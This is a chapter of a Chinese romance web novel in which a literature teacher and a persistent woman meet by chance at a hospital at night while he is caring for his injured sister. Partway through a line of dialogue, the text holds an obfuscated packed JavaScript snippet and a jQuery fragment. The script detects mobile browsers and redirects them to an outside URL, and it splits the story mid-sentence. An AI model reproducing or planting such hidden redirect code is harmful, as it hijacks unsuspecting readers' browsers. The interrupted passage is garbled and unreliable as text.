8. 春醒
作品:《男友是二手网淘来的》 看到柳薄烟消息时,顾庭深正坐在沙发上,给怀中的总裁梳理毛发。
出差这几天,总裁被寄养在楼下宠物店,也许是太久没见了,一回家就黏得紧,就连洗澡也想把他也拉进盆里。
好不容易吹干一身湿毛,消停下来,小家伙又把水盆拱倒了。
顾庭深刚和摊在腿上的毛茸茸、黄灿灿的一团对上视线,它就立即淘气地朝他打了个喷嚏。
他无奈勾唇,随手拿起手机,柳薄烟的消息还安静地在微信里躺着。
[那明天的约会还作数吗?]
顾庭深嘴角的弧度淡了下去。他以为自己说得已经够明白,不想再纠缠下去了,她是听不懂吗?
他起身拿起遥控器,给总裁放起动物世界,转身准备进浴室洗澡。
电视里的声音刚漫出来,玄关处的门就被推开。
顾庭深回头。
谷眠嘴里含着根棒棒糖,身后跟着个瘦瘦高高的小男生。她一边换鞋走一边叮嘱:“记得换鞋,我哥这人有洁癖,要是你踩脏了地板,他非得……”
话音在看到客厅里站着的人时戛然而止。
“你怎么在这?”
“这句话不该我问你吗?”顾庭深注意到谷眠膝上的擦伤,下意识蹙起眉头,“今天周五,谷同学,你好像还没放假吧?”
谷眠还在上高一,是最辛苦的高中生,只有周六下午才会放单休。小姨和小姨夫都是医护人员,平时工作很忙,因此大多数周末,她都是来顾庭深这里过的。
顾庭深转身拿来医药箱,准备帮她上药,却发现伤口已经被涂好了药膏。
知道谷眠最讨厌上药,从来不会自己主动弄,他的目光淡淡平移到她身后的男生身上。
男生低着头,碎发遮住了眼睛,肥大的校服上沾满了颜料和不知道是什么东西,灰褐色的污渍。
他埋着头,声音怯怯的:“哥哥好。”
顾庭深忽的嘴角微抽。
“我同学,借你这洗个澡就走”,说完,谷眠风风火火地窜进屋,在她的浴室里倒腾了大半天,然后一把将男生推进去。
她看向还坐在沙发上的顾庭深,语气难得软了点,还带着点请求:“借你套衣服呗。”
对于早恋,顾庭深并不像小姨那样持反对态度,但她这属实有点过火了,竟然还敢把男生带回家。
要是他今天没回来,还不知道会闹成什么样。
念在她同学还在屋里,顾庭深只好压下怒意,回房拿衣服。
衣柜里的衣服都是按季节搭配好的,他随手抽了一套休闲装,目光落在款式上时,却忽然顿住。
柳薄烟当初给他看的那些照片里,他穿的就是这一套。
谷眠急着等衣服,伸手就来接,顾庭深却忽然攥着没松手,还突兀地问了一句:“如果有人用你的照片当头像,被你戳穿也不承认,还让你假扮她男朋友,你觉得她想干什么?”
谷眠想都没想,“傻——笨蛋吗,肯定是喜欢她,想引起她注意,故意攀上关系啊。”
她无语觑他一眼,抢过衣服往浴室跑。
顾庭深站在原地,指尖还维持着刚才拿衣服的姿势,心底一动。
喜欢他……吗?
他努力回想从初见到现在,好像一切又都有迹可循,只是还没来得及深究,隔壁房间的浴室就传来声惨叫。
“啊——”
柳薄烟蜷缩在床上,疼得直打滚。
半夜冰凉的腹痛猛地袭来,她挣扎着爬起来开灯,脑袋一懵,狠狠撞在床头柜上,疼得眼冒金星。
缓过来后,她视线没有聚焦地落在被子上,眼神极为幽怨,像电影里双眼无神的僵尸。
早知道就不吃那根冰激凌了。
晚上接外婆跳广场舞,路过个卖手工冰激凌的小摊位,她没忍住诱惑买了支,却没想到肚子翻云覆涌到现在。
凌晨一点,疼得受不了了,柳薄烟起床穿衣服,蹑手蹑脚地出门打了车。
深夜的医院人很少,看完病、拿完药,不过半小时她就看完诊,此刻正呆在一楼休息区等热水。
出门出得太急,连拖鞋都忘了换,柳薄烟难为情地盯了眼自己因窘迫而微屈的脚趾,而后目光若无其事扫视周围。
余光回收时,却发现道意想不到的身影。
她先是看了眼依旧空荡的聊天框,距离给他发消息已经过去了将近十二个小时。
合着。不回消息是在陪女朋友?
顾庭深身边站着个年轻女生,中间隔了只大型犬,两人距离不算近,也算不上亲密。柳薄烟心里悄悄松了口气,更偏向是妹妹或亲戚。
可万一,是女朋友呢?
眼看两人分开,顾庭深转身朝这边走来,柳薄烟本能地迎上去。
“这么巧,木大神”,她双手背在后面,身子略略往前倾,唇角绽开笑意,“不是说明天约会嘛,怎么今晚提前见上了?”
看见女人的瞬间,顾庭深眼皮一跳,转头瞥了眼谷眠,深沉的眸光这才落回到她身上。
谷眠在浴室摔倒了,小腿折了下,现在才处理好。
说来也挺巧,刚才等护士冰敷时,谷眠给他转发了个推文——“她/他喜欢你不是错觉”。
里面罗列着如何判断对方是不是喜欢自己的具体表现。
顾庭深不是迟钝的人,他教了这么多年文学,主角什么时候动心,他一眼就能看出来。
但他还是鬼使神差地点开了那条推文,第一条便是:别把寻常的偶遇,当成巧合。
思绪回笼,顾庭深注意到女人裹着一件宽大的薄长袖,头发随意扎在脑后,几缕碎发贴在脸侧。脚上是拖鞋,露出一截白皙的脚踝。
他看向她的时候,对方也在看自己,眼神亮晶晶的,像是有星河流动。
顾庭深不动声色平移开目光,想绕过她去拿饮水机旁的轮椅。
男人突然靠近,柳薄烟瞳孔倏地放大,心一慌:“你干嘛?这里可是医院。”
那道淡冷香又萦上鼻尖,她不太自然后退几步。
饮水机“叮”一声,热水烧开。
谁知,顾庭深只是越过她,伸手扫了一眼轮椅的借出码。
……
柳薄烟尴尬得耳根发烫,自告奋勇去开轮椅,结果拽了半天纹丝不动。顾庭深想帮忙,被她一把推开:“我来!”
没想到下一秒,她脚下一滑,扑通坐在地上。
两人对视一秒,默契地同时别开脸。
顾庭深有分寸感地背过身。
柳薄烟只觉得自己的脸比狠狠擦过地面的脚踝还要火辣辣,忙不迭也跟着站起来。
脚掌触及到冰凉的地面,才发现自己的拖鞋因打滑擦到了脚踝上面。
丢人。
丢人到家了。
她费力地掰着拖鞋,挑起话头想缓解这尴尬的氛围:“是你朋友脚受伤了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469498|201399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”
最好只是普通朋友,她在心里默默补充,不然就没人能糊弄老妈了。
“不是。”
拖鞋不知道怎么搞的,拽得人指节泛白都下不来。柳薄烟用力吸了大口气,猛地一抽,“那是谁呀?”
穿好鞋,她才捋捋凌乱的刘海,脸颊发烫,视线飘忽地根本不敢去看对方的脸。
肯定肯定,肯定在心里笑死她了!世界上怎么会有这么蠢的人QVQ
等她弄好,顾庭深才淡定地摁开轮椅后面的卡扣,“是我妹。”
盯着女人微微泛红的脸,他想起推文的第二点:“会打探身边出现的每一个异性身份。”
默默往旁边挪了一步。
原来只是妹妹。
柳薄烟垂着头,指节无意识扣弄着药袋,闷闷应声。
顾庭深比她高出大半个头,将她所有细微的小动作尽收眼底,唇边掠过一丝极淡、极浅的弧度,快得像错觉。
惨白的灯光漫过医院长廊,空气里飘着淡淡的消毒水味,安静得能听见脚步声。
谷眠跨坐在凳子上,捧着手机,枕着总裁无声发笑,余光瞥见姗姗来迟的顾庭深,正要蹙眉,却发现他身后还跟着个漂亮姐姐。
她赶紧收敛起随性的坐姿,将屏幕滑到主界面。
“你跟上来干什么?”
顾庭深以为柳薄烟在医院门口就会离开,没料到她一路跟到了这里。
“啊,我吗?”
柳薄烟正踌躇着不知道什么时候开口,见他转身,心生一喜,“嗯,就是,我想说……”
她一抬眸对上顾庭深晦暗的眼神,身体瞬间绷紧,飞速道:“你微信没回消息所以我并不知道明天的约会还作不作数就想来问问你愿不愿意明天和我共进午餐。”
要是契约情侣谈不拢,那就纯当答谢宴吧,做个体面的大人。
她憋一口气说完,胸口微微起伏。
“顾庭深,你还走不走?”一道女音插了进来。
是谷眠蹦了过来,打上石膏的腿虚虚放在总裁背上,一人一狗的目光正在两人之间流转。
顾庭深闻言转过身,先将她扶到轮椅上,再同柳薄烟道别,并无情地拒绝了明天的约会。
“不去。”
柳薄烟脸上的笑意瞬间垮了下去。眼看男人要推轮椅离开,脑子一热,扣住他的手腕:“可我还没付你的报酬呢!”
“举手之劳。”
“不行!我这个人特别看重这块,要是你不答应我会睡不着觉的”,她昂头,眼神认真又固执。
又来了又来了,最后一条:“会想尽办法主动约你单独见面”。
顾庭深刻意避开视线对视,抽回手腕看时间。
在他现有的人生规划里,还没有恋爱这一条,更别提和面前这位满嘴跑火车的人长期保持一段亲密关系。
“天快亮了,你大概也用不着睡觉。”
柳薄烟还真去看了眼时间,反应过来后差点气笑。
怎么会有这么难搞的人!比石头还硬。
谷眠在一旁听得津津有味,轮椅忽然被推动,她连忙回头,朝柳薄烟弯弯一笑,话却是对着顾庭深说的。
“哥,这位漂亮姐姐该不会就是你暗恋的那个吧?”
顾庭深推轮椅的手顿了一下。
谷眠叫了声总裁,大黄狗立马“汪汪”叫了几声,摇着大尾巴就跑过去咬住柳薄烟的裤腿。

